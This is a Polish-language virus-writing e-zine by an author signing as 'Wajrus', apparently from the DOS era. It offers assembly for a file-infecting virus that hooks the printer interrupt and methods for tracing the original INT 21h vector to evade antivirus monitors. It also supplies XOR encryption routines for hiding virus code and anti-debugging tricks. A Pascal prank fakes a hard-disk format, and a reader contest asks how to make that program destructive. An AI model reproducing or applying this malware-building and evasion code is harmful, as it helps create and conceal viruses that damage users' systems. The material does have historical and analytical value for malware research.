PTR CS:[101H] ; PODMIENIENIE ADRESU PROCEDURY OBSLUGI INT 17H PUSH DS PUSH 0000H POP DS MOV WORD PTR DS:[(17H*04H)],CS MOV AX,(((OFFSET @MOJE_INT_17H)-(OFFSET @MOJE))+103H) ADD AX,BX MOV WORD PTR DS:[(17H*04H)+02H],AX POP DS ; CIAG DALSZY NIE ZMIENIONY MOV AH,09H MOV DX,(((OFFSET @TEKST)-(OFFSET @MOJE))+103H) ADD DX,BX INT 21H MOV SI,(((OFFSET @BUFOR)-(OFFSET @MOJE))+103H) ADD SI,BX MOV DI,100H PUSH DI MOV CX,0003H REP MOVSB POP SI JMP SI ; MOJA PROCEDURA OBSLUGI PRZERWANIA DRUKARKI @MOJE_INT_17H: MOV AH,00101011B ; ZWROC BLAD WYDRUKU IRET @MOJE_INT_17H_END: ; CIAG DALSZY NIE ZMIENIONY @TEKST: DB 'PRZYKLAD WIRA$' @BUFOR: DB 3 DUP (0) @MOJE_END: ; *******************Ciachnij*********************** I co? Wszystko dziala pieknie do czasu, gdy drukuje ten program, ktory zarazilismy. Po wyjsciu z niego, proba wydruku czegokolwiek moze zakonczyc sie zawieszeniem komputera. Dlaczego? Otoz zastanow sie, co sie dzieje z @MOJE_INT_17H po zakoczeniu pracy programu? Pozostaje w pamieci, ktora jest wolna! Wolna, i moze tam sie ponownie zaladowac cokolwiek, zamazujac nasz program obslugi przerwania. Wtedy proba wydruku konczy sie wywolaniem INT 17H, ktore skacze pod adres, gdzie kidys byl nasz program, znajdyje tam COS, chce to wykonac i... wisi! Sposoby na to sa dwa: zarezerwowac sobie troche pamieci, lub znalezc nieuzywany obszar pamieci i tam przechowywac procedure obslugi przerwania. Punkt 4: Jak zdobyc orginalny wektor przerwania 21h ? +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ W tym miejscu moze ktos zapytac, do czego jest to mi potrzebne lub jaki to ma zwiazek z wirusami. A jednak ma! Jesli wirus nie bedzie odwolywal sie do aktualnego przerwania 21h tylko do orginalnego to na pewno ominie rezydentne programy kontrolujace dzialalnosc wirusow na dysku. No dobra tyle wyjasnienia teraz metoda. Nie ukrywam, ze jest ona dosc skomplikowana (kraza pogloski, ze istnieje o wiele prostsza polegajaca na zczytaniu adresu z komorek :) Taa. Po pierwsze nalezy wyznaczyc przedzial w jakim napewno znajduje sie orginalne przerwanie 21h. -Wyznaczenie dolnej granicy ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Nalezy skorzystac z nie udokumentowanej funkcji mov ax,1203h int 2Fh po takiej operacji ds-wskazuje segment poczatkowy -Wyznaczenie gornej granicy ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah,52h int 21h sub bx,2 mov ax,es:[bx] natomiast po tej operacji ax-wskazuje segment koncowy Nastepnie nalezy podpiac przerwanie 01h (praca krokowa) i na nim sprawdzac, czy znajdujemy sie w odpowiednim adresie (wiekszym lub rownym poczatkowemu segmentowi DOS'u i mniejszym lub rownym koncowemu segmentowi DOS'u). Gdy juz mamy podpiete przerwanie nalezy wywolywac niewinne funkcje przerwania 21h, jednak nie przez instrukcje INT 21h, lecz bezposrednio skaczac pod aktualny adres przerwania 21h. I to by bylo na tyle ;) W niektorych przypadkach opisana metoda nie zadziala. Dzieje sie tak wtedy gdy jakis rezydent przechwyci przerwanie 01h. Punkt 5 : Szyphrowanie. +-+-+-+-+-+-+-+-+-+-+-+ Taa. Jak wiadomo szyfrowanie nie sprzyja programom antywirusowym. No a oprocz tego jest to najprostsza i najkrotsza droga do ukrycia twojego wirusa. Najpowszechniejsza i bardzo czesto stosowana metoda kodowania jest XOR. Metoda ta polega na wykonywaniu operacji xor na kazdym bajcie kodu. Operacja ta moze byc uzywana jednoczesnie do kodowania oraz deszyfracji. Podam przyklad: klucz db ? ; powinien sie znajdowac gdzies w obszarze niezaszyfrowanym szyfruj: odszyfruj: mov ah,klucz mov cx,czesc_do_szyfracji_koniec - czesc_do_szyfracji_start mov si,czesc_do_szyfracji_start mov di,si xor_petla: lodsb ; ds:[si] -> al xor al,ah stosb ; al -> es:[di] loop xor_petla ret Powyzsza metoda uzywa prostego mechanizmu XOR do szyfrowania lub odszyfrowywania kodu w pamieci. Procedura szyfrowania i deszyfracji sa dokladnie takie same. Jest to spowodowane tajemnicza natura XOR. Mozesz odwolywac sie do tej procedury z dowolnego miejsca programu, ale upewnij sie ze nie odwolujesz sie do niej z miejsca w obrebie obszaru do zaszyfrowania, poniewaz program wisnie. Kiedy bedziesz budowal wira, ustaw klucz na 0. czesc_do_szyfracji_start i czesc_do_szyfracji_koniec wskazuja na obszar jaki bedzie szyfrowany. Uzyj call odszyfruj na poczatku wira, po to zeby odszyfrowac plik aby program mogl ruszyc. Podczas infekcji plikow, najpierw zmien wartosc klucza, wtedy wstaw call szyfruj, nastepnie zapisz wira na koniec pliku, i odwolaj sie do procedury odszyfruj. Upewnij sie ze ta czesc nie lezy w obszarze do zaszyfrowania! Oki. Podam teraz kolejny extra sposob na szyfrowanie (glownie do tekstu sie nadaje). Mozna go uzyc z dowolnego miejsca programu i dziala praktycznie zawsze. Jest to cholerna zaleta. Zachecam do experymentowania :o) Oto zrodelko: szyfruj_deszyfruj_tekst: mov si,offset tekst mov cx,ilosc_bajtow nastepny_bajt: xor word ptr cs:[si],offset jakas_stala ; np 1934h inc si loop nastepny_bajt ret Taa. Tekst to wiadomo, w asm wstawiamy jako DB (np. tekst db 'QL !',0) Jest to bardzo prosty sposob i zarazem b. skuteczny. Polecam na przyklad cos takiego: klucz db ? szyfruj_deszyfruj_napis: mov si,offset tekst mov cx,ilosc_bajtow * 2 petelka: sub word ptr cs:[si],offset dlugosc_pliku xor word ptr cs:[si],offset klucz add word ptr cs:[si],offset jakas_stala ; np 9165h add si,2 loop petelka ret No a za klucz to najlepiej jest wstawic jakas zmienna, ktora jest generowana podczas pracy wirusa. Mozna np. zaladowac date lub czas. Podam przyklad: mov ah,2ch int 21h mov klucz,dh Mozna bardziej skomplikowanie. Wszystko zalezy od intencji tworczej i wyobrazni autora :) Punkt 6 : Ukrywanie twojego kodu przed oczami innych. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Taa. Jest bardzo wazne aby utrzymac nasz kod z dala od lepkich raczek lamerow, ktorzy potrafia np. pozmieniac teksty zawarte w wirze lub co gorsza (!) sciageli sobie viry, przerobili je nieznacznie a potem mysla ze sa nie wiadomo kim. (btw. spotkalem sie juz z takimi przypadkami :-|) Dobra, ale do rzeczy... Sposobem jest napisanie programu tak, aby zachowywal sie inaczej, podczas gdy jest wykonywany pod kontrola debuggera. Wszystko co jest potrzebne to znajomosc dzialania (przynajmniej minimalna) debuggera. Programy takie (np. debug.exe czy TD) sledza program poprzez wstawianie rejestrow za pomoca przerwan int 1 oraz int 3. Odwolywanie do tych przerwan jest wykorzystywane po kazdej wykonywanej instrukcji. Wirus ktory chcialby unikac debuggera musialby w takim razie przemieszczac rejestry dla tych przerwan. Koncowy rezultat bedzie taki jaki zechcesz. Ponizej macie zrodelko jak to zrobic: anty_debugger: push cs pop ds mov dx, offset odetnij_deb mov ax,2501h int 21h mov al,03h int 21h ... ; reszta kodu odetnij_deb: iret Mozesz eksperymentowac i umieszczac cos innego pod odetnij_deb (np. blokowanie klawiatury, itp.) Kolejny trik, ktory mozna zastosowac to odwolywanie sie z wnetrza twojego programu do przerwania 3-go. Wtedy jak ktos bedzie probowal uruchomic twoj program pod kontrola debuggera, to progs bedzie skutecznie zapobiegal przejeciu punktu startowego za posrednictwem int3, a wiec glownemu mechanizmowi debuggera. I na tym wlasnie polega cala ta zabawa ;) =================== #3 LAME ZONE ATTACK =================== Punkt 1: Format 4 lame ?! +-+-+-+-+-+-+-+-+-+-+-+-+ Jezeli chcecie przestraszyc jakiegos nieznosnego lamera to zlinujcie mu ten programik formatujacy i zastartujcie, hehehehe ! Naprawde program nic nie zapisuje tylko uzywa funkcji zczytywania 8-) ; *******************Ciachnij*********************** uses dos; var s,o,sn,on,ic,ig:word; b:pointer; r:registers; begin writeln('Formatowanie C: ...'); getintvec($41,b); s:=seg(b); o:=ofs(b); sn:=memw[s:o+2]; on:=memw[s:o]; ic:=memw[sn:on]; ig:=mem[sn:on+2]; for s:=1 to ic do begin for o:=1 to ig do begin if port[$60]=1 then halt(1); with r do begin dl:=$80; dh:=1; ch:=random(256); al:=1; cl:=1; es:=$a000; bx:=$0000; ah:=2; intr($13,r); end; end; end; end. ; *******************Ciachnij*********************** Punkt 2: Konkurs. +-+-+-+-+-+-+-+-+ Pytanie 1 : Co nalezy zmienic w zamieszczonym tutaj programie symulujacym formatowanie twardego dysku, aby zmienil sie on w forme destrukcyjna ;) :) Pytanie 2 : co to za przerwanie : Í ??? Pytanie 3 : co nalezy zmienic w powyzszym przerwaniu, aby komp "zapytal sie" czy ma je wykonac ? :-D Piszcie! Na zwyciezce czeka nagroda niespodzianka :o] L O G O U T Wajrus --- wajrus@friko.onet.pl --- friko.onet.pl/kl/wajrus PS. To jest narazie wersja beta i mam zamiar tu jescze sporo dodac. O pelnej wersji powiadomie was w stosownej chwili ;) ----- -- - - - -------------------------- - ------------------ ---------- | Pozdrowienia: | | BeQ, LcamTuF, Varna, M0rbius, CyberPhanTom, VieDZmin, Dr4k3, Vir, 1ns3ct | | LunarShake (special greetings 2 bth and nth), El_Coyote, Juice, Shmastah | | Fazji, Charlie11, internautow z #hackpl... | ---- -- - - - -------------------------- - ------------------ -----------